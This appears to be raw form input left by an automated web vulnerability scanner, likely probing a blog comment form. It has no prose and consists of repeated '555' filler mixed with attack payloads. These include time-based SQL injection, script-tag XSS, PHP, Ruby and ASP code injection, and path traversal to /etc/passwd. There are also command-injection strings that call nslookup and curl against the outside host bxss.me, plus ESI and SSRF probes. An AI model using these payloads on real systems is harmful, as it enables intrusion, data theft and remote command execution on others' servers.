555-1 OR 393=(SELECT 393 FROM PG_SLEEP(15))--
555PTTZhFVS'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "uHhTxSOL"="
-1' OR 5*5=25 or 'IHSTRcsz'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555w1EN68Lb
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9970917*9376837)+"
555
'+response.write(9970917*9376837)+'
555
response.write(9970917*9376837)
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitmx'.'givjwjjba9c53.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(88).chr(101).chr(86)
".gethostbyname(lc("hitta"."pxjpgnoc8d5bd.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(88).chr(97).chr(89)."
555
555
555
555
555
555
'.gethostbyname(lc('hitne'.'jnhdvgpgba6c4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(85).chr(113).chr(67).'
555
555
<!--
'"
5559286696
555
555
555
'"()&%<zzz><ScRiPt >0dwO(9773)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >0dwO(9286)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
blog-comment-submit/.
555
555
555
555
555
555
blog-comment-submit
555
555
555
blog-comment-submit
555
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555
555
${@print(md5(31337))}
555
555
";print(md5(31337));$a="
';print(md5(31337));$a='
bxss.me/t/xss.html?%00
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
HttP://bxss.me/t/xss.html?%00
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
Http://bxss.me/t/fit.txt
555
555
bxss.me
555
c:/windows/win.ini
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitygmkdmlans1ba59.bxss.me||curl${IFS}hitygmkdmlans1ba59.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitygmkdmlans1ba59.bxss.me||curl${IFS}hitygmkdmlans1ba59.bxss.me)&`'
../../../../../../../../../../../../../../etc/shells
|(nslookup${IFS}-q${IFS}cname${IFS}hitlawcgojlny3287c.bxss.me||curl${IFS}hitlawcgojlny3287c.bxss.me)
/etc/shells
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
;(nslookup -q=cname hituotqhkfgmy582ce.bxss.me||curl hituotqhkfgmy582ce.bxss.me)|(nslookup -q=cname hituotqhkfgmy582ce.bxss.me||curl hituotqhkfgmy582ce.bxss.me)&(nslookup -q=cname hituotqhkfgmy582ce.bxss.me||curl hituotqhkfgmy582ce.bxss.me)
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
`(nslookup -q=cname hitbjhxwphujf45391.bxss.me||curl hitbjhxwphujf45391.bxss.me)`
555
555
|(nslookup -q=cname hitoiojnwuhdi61000.bxss.me||curl hitoiojnwuhdi61000.bxss.me)
555
555
555
555
&(nslookup -q=cname hitreveuhlrwn5a8f9.bxss.me||curl hitreveuhlrwn5a8f9.bxss.me)&'\"`0&(nslookup -q=cname hitreveuhlrwn5a8f9.bxss.me||curl hitreveuhlrwn5a8f9.bxss.me)&`'
555
555
&nslookup -q=cname hitjmglcmvlxw22b84.bxss.me&'\"`0&nslookup -q=cname hitjmglcmvlxw22b84.bxss.me&`'
555
555
$(nslookup -q=cname hitcsilymwpjp90203.bxss.me||curl hitcsilymwpjp90203.bxss.me)
555
(nslookup -q=cname hittzfhmsvnwp74360.bxss.me||curl hittzfhmsvnwp74360.bxss.me))
555
555
555
expr 9000334645 - 946522
555
'A'.concat(70-3).concat(22*4).concat(117).concat(73).concat(116).concat(90)+(require'socket' Socket.gethostbyname('hitdt'+'bvnkpnsn58a6d.bxss.me.')[3].to_s)
555|echo dhoype$()\ niokyw\nz^xyu||a #' |echo dhoype$()\ niokyw\nz^xyu||a #|" |echo dhoype$()\ niokyw\nz^xyu||a #
'+'A'.concat(70-3).concat(22*4).concat(103).concat(79).concat(117).concat(72)+(require'socket' Socket.gethostbyname('hitxc'+'xrymdxtv51a37.bxss.me.')[3].to_s)+'
|echo iuasxm$()\ hgvtvc\nz^xyu||a #' |echo iuasxm$()\ hgvtvc\nz^xyu||a #|" |echo iuasxm$()\ hgvtvc\nz^xyu||a #
"+"A".concat(70-3).concat(22*4).concat(100).concat(88).concat(102).concat(86)+(require"socket" Socket.gethostbyname("hitqg"+"joiauqus36160.bxss.me.")[3].to_s)+"
555
555&echo utlbny$()\ qszjhh\nz^xyu||a #' &echo utlbny$()\ qszjhh\nz^xyu||a #|" &echo utlbny$()\ qszjhh\nz^xyu||a #
555
&echo btggkc$()\ cjhtpn\nz^xyu||a #' &echo btggkc$()\ cjhtpn\nz^xyu||a #|" &echo btggkc$()\ cjhtpn\nz^xyu||a #
555
echo aqxcjv$()\ zvwxpz\nz^xyu||a #' &echo aqxcjv$()\ zvwxpz\nz^xyu||a #|" &echo aqxcjv$()\ zvwxpz\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999660+9999085}
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555"||sleep(27*1000)*uwxygm||"
555'||sleep(27*1000)*dwhhjj||'
555"&&sleep(27*1000)*phtjma&&"
../555
555'&&sleep(27*1000)*xaokgu&&'
'"()
555
file:///etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
12345'"\'\");|]* { < >
555
555
555
555
555
555
555
555
555
555
555
555
redirtest.acx
555
555
555
555
555
555
^(#$!@#$)(()))******
!(()&&!|*|*|
)
555
555
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@khn6B
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555ryRsYS1m')) OR 335=(SELECT 335 FROM PG_SLEEP(15))--
555jaDmTxWj') OR 917=(SELECT 917 FROM PG_SLEEP(15))--
555uJkKG5HK' OR 269=(SELECT 269 FROM PG_SLEEP(15))--
555-1)) OR 576=(SELECT 576 FROM PG_SLEEP(15))--
555-1) OR 131=(SELECT 131 FROM PG_SLEEP(15))--
555-1 OR 63=(SELECT 63 FROM PG_SLEEP(15))--
555hcMurIRG'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "o3CnzEY3"="
-1' OR 5*5=25 or 'wXFoUJtY'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555ux0eRHAD
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9805593*9833752)+"
'+response.write(9805593*9833752)+'
555
555
response.write(9805593*9833752)
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitqh'.'zedswtxz51901.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(80).chr(113).chr(90)
555
555
".gethostbyname(lc("hitoi"."bbshlzao0fbdc.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(85).chr(113).chr(71)."
555
555
'.gethostbyname(lc('hitce'.'svdfxsjzedca2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(69).chr(105).chr(84).'
555
555
555
555
555
555
<!--
555
555
555
'"
5559380424
555
555
555
555
555
555
555
555
'"()&%<zzz><ScRiPt >njfl(9015)</ScRiPt>
555
555
555'"()&%<zzz><ScRiPt >njfl(9864)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
blog-comment-submit/.
555
blog-comment-submit
555
blog-comment-submit
555
555
555
555
555
555
555
555
555
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555
${@print(md5(31337))}
bxss.me/t/xss.html?%00
";print(md5(31337));$a="
HttP://bxss.me/t/xss.html?%00
555
555
';print(md5(31337));$a='
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitzusitonmnec3382.bxss.me||curl${IFS}hitzusitonmnec3382.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitzusitonmnec3382.bxss.me||curl${IFS}hitzusitonmnec3382.bxss.me)&`'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
|(nslookup${IFS}-q${IFS}cname${IFS}hituhmnpakxwg4db74.bxss.me||curl${IFS}hituhmnpakxwg4db74.bxss.me)
555
555
;(nslookup -q=cname hitkarakocvofb214c.bxss.me||curl hitkarakocvofb214c.bxss.me)|(nslookup -q=cname hitkarakocvofb214c.bxss.me||curl hitkarakocvofb214c.bxss.me)&(nslookup -q=cname hitkarakocvofb214c.bxss.me||curl hitkarakocvofb214c.bxss.me)
`(nslookup -q=cname hityldpvcrpfma0b1c.bxss.me||curl hityldpvcrpfma0b1c.bxss.me)`
555
555
|(nslookup -q=cname hitkmluacquqcb1dcf.bxss.me||curl hitkmluacquqcb1dcf.bxss.me)
555
555
&(nslookup -q=cname hitiawvdqzxqve8743.bxss.me||curl hitiawvdqzxqve8743.bxss.me)&'\"`0&(nslookup -q=cname hitiawvdqzxqve8743.bxss.me||curl hitiawvdqzxqve8743.bxss.me)&`'
http://bxss.me/t/fit.txt?.jpg
555
555
555
Http://bxss.me/t/fit.txt
&nslookup -q=cname hitnffjjdowvb80c55.bxss.me&'\"`0&nslookup -q=cname hitnffjjdowvb80c55.bxss.me&`'
bxss.me
$(nslookup -q=cname hitacpofjaogdcc62a.bxss.me||curl hitacpofjaogdcc62a.bxss.me)
555
c:/windows/win.ini
(nslookup -q=cname hitemctpxuqgx31aab.bxss.me||curl hitemctpxuqgx31aab.bxss.me))
../../../../../../../../../../../../../../etc/shells
expr 9000639419 - 921020
/etc/shells
555|echo fxkdat$()\ wujfhe\nz^xyu||a #' |echo fxkdat$()\ wujfhe\nz^xyu||a #|" |echo fxkdat$()\ wujfhe\nz^xyu||a #
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
555
|echo yedhqv$()\ qhulxv\nz^xyu||a #' |echo yedhqv$()\ qhulxv\nz^xyu||a #|" |echo yedhqv$()\ qhulxv\nz^xyu||a #
555&echo zojfny$()\ dpzyag\nz^xyu||a #' &echo zojfny$()\ dpzyag\nz^xyu||a #|" &echo zojfny$()\ dpzyag\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
&echo dqpgpa$()\ jnkfgy\nz^xyu||a #' &echo dqpgpa$()\ jnkfgy\nz^xyu||a #|" &echo dqpgpa$()\ jnkfgy\nz^xyu||a #
echo atlzzg$()\ gkipzr\nz^xyu||a #' &echo atlzzg$()\ gkipzr\nz^xyu||a #|" &echo atlzzg$()\ gkipzr\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(115).concat(65).concat(97).concat(74)+(require'socket' Socket.gethostbyname('hitpo'+'ykwjhmwc1fd6a.bxss.me.')[3].to_s)
555
'+'A'.concat(70-3).concat(22*4).concat(121).concat(75).concat(100).concat(81)+(require'socket' Socket.gethostbyname('hityn'+'oyezfrle94ee6.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(100).concat(71).concat(115).concat(68)+(require"socket" Socket.gethostbyname("hitzq"+"rcqgqffa1580f.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999001+9999240}
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
../555
555
file:///etc/passwd
../../../../../../../../../../../../../../windows/win.ini
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
12345'"\'\");|]* { < >
555
555
555"||sleep(27*1000)*gzafwa||"
555
555'||sleep(27*1000)*zuhmcm||'
555
555"&&sleep(27*1000)*ielltq&&"
555'&&sleep(27*1000)*spouzb&&'
'"()
555
555
555
555
555
555
555
555
555
redirtest.acx
555
555
555
555
555
555
555
^(#$!@#$)(()))******
!(()&&!|*|*|
)
555
555
555
555
1
555
555
555
555
555
555
555
555
555
555-1); waitfor delay '0:0:15' --
